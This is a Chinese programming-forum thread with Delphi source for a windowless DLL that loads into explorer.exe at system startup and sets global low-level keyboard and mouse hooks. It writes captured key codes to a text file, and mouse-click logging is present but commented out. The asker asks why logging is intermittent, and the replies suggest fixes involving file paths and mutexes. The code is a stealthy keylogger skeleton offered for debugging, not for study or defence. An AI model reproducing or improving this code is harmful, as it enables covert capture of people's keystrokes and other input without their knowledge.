无exe无窗口的DLL 随系统启动自动加载到系统进程,捕获键盘消息和鼠标消息,library Project2;
uses
  SysUtils,
  Classes,
  uHookKeyAndMouse in 'uHookKeyAndMouse.pas';{$R *.res}begin
StartHookKeyMouse;//安装钩子
end.unit uHookKeyAndMouse;
interface uses
Windows, Messages, SysUtils; const 
WH_KEYBOARD_LL =13; 
WH_MOUSE_LL =14; type
  tagKBDLLHOOKSTRUCT = packed record
    vkCode: DWORD;
    scanCode: DWORD;
    flags: DWORD;
    time: DWORD;
    dwExtraInfo: DWORD;
  end;
  KBDLLHOOKSTRUCT = tagKBDLLHOOKSTRUCT;
  PKBDLLHOOKSTRUCT = ^KBDLLHOOKSTRUCT;
  
type
PMSLLHOOKSTRUCT=^MSLLHOOKSTRUCT; 
MSLLHOOKSTRUCT = record 
pt:TPoint; 
mouseData:DWORD; 
flags:DWORD; 
time:DWORD; 
dwExtraInfo:DWORD; 
end;procedure StartHookKeyMouse; 
procedure StopHookKeyMouse; implementation var 
hhkLowLevelKybd:HHook=0; 
hhkLowLevelMouse:HHook=0;Procedure WriteTxt(sFileName,sText:String); //写txt文件
Var 
F:TextFile; 
Begin 
AssignFile(F,sFileName); 
IF FileExists(sFileName) Then
Append(F) 
Else
ReWrite(F);
WriteLn(F,sText); 
CloseFile(F); 
End;function LowLevelKeyboardProc(nCode:Integer; WParam:WPARAM; LParam:LPARAM):LRESULT; stdcall;
var
  p: PKBDLLHOOKSTRUCT;
begin
Result:=0;
p := PKBDLLHOOKSTRUCT(lParam);
if (WParam=256) or (WParam=257) then // 判断键盘按下弹起
begin
if p.vkCode=13 then //判断回车
begin
WriteTxt('0.txt',inttostr(p.vkCode));//写入txt
end;
end;
Result:=0;
if nCode<>0 then Result:=CallNextHookEx(0,nCode,WParam,LParam); 
end;function LowLevelMouseProc(nCode:Integer; WParam:WPARAM; LParam:LPARAM):LRESULT; stdcall;
var 
p:PMSLLHOOKSTRUCT; 
begin
Result:=0;
p:=PMSLLHOOKSTRUCT(LParam);
if (WParam=513) or (WParam=514) then //判断鼠标按下弹起
begin
{if (p.pt.X>10) and (p.pt.X<100) and (p.pt.y>10) and (p.pt.y<100) then //判断鼠标是否在x=10,110 y=10,100 处按下,
begin
WriteTxt('0.txt',inttostr(WParam)+'////////////'+inttostr(p.pt.X)+'/'+inttostr(p.pt.y));//坐标写入文本
end;}
end;
Result:=0;
if nCode<>0 then Result:=CallNextHookEx(0,nCode,WParam,LParam);
end;procedure StartHookKeyMouse;
begin
if hhkLowLevelKybd = 0 then 
begin
hhkLowLevelKybd := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, Hinstance, 0);
end;
if hhkLowLevelMouse = 0 then
begin 
hhkLowLevelMouse:=SetWindowsHookEx(WH_MOUSE_LL,LowlevelMouseProc,HInstance,0);
end;
end;procedure StopHookKeyMouse;
begin
if hhkLowLevelKybd <> 0 then
begin 
UnhookWindowsHookEx(hhkLowLevelKybd);
hhkLowLevelKybd:=0;
end; 
if hhkLowLevelMouse <> 0 then
begin
UnHookWindowsHookEx(hhkLowLevelMouse); 
hhkLowLevelMouse:=0;
end; 
end;initialization 
hhkLowLevelKybd:=0;
hhkLowLevelMouse:=0;
finalization
if hhkLowLevelKybd <> 0 then UnhookWindowsHookEx(hhkLowLevelKybd);
if hhkLowLevelMouse <> 0 then UnhookWindowsHookEx(hhkLowLevelMouse);
end.
现在的问题是随系统启动是成功了,钩子ID 也有了,就表示挂钩成功,但是为什么不管执行任何动作都不会写文本呢,有时候又可以,问题出在什么地方?

解决方案 »

  1.   

    关键是这个DLL这样写到底行不行,呵呵.
      

  2.   

    低级钩子,完全可以不用DLL。
      

  3.   

    关键我想让他是DLL,能随系统启动.
      

  4.   

    现在不也可以随系统启动吗?不过你要注意的是,你这个Hook如果没有使用互斥的话,就有可能会有多个副本在运行(当然依启动位置而定)。代码上面问题不太大,关键就是可能你是有写文件,但是写入的路径可能会有问题。
      

  5.   

    我现在把DLL随explorer.exe启动 加载到这个进程里面,每次都能看到正常加载进去,但是有时候能写文本信息,有时候什么消息也没有,刚才又试了几次,发现写了文本以后我又把explorer.exe进程结束掉,让他重新加载,结果,又没信息了,这个到底是什么问题呢.?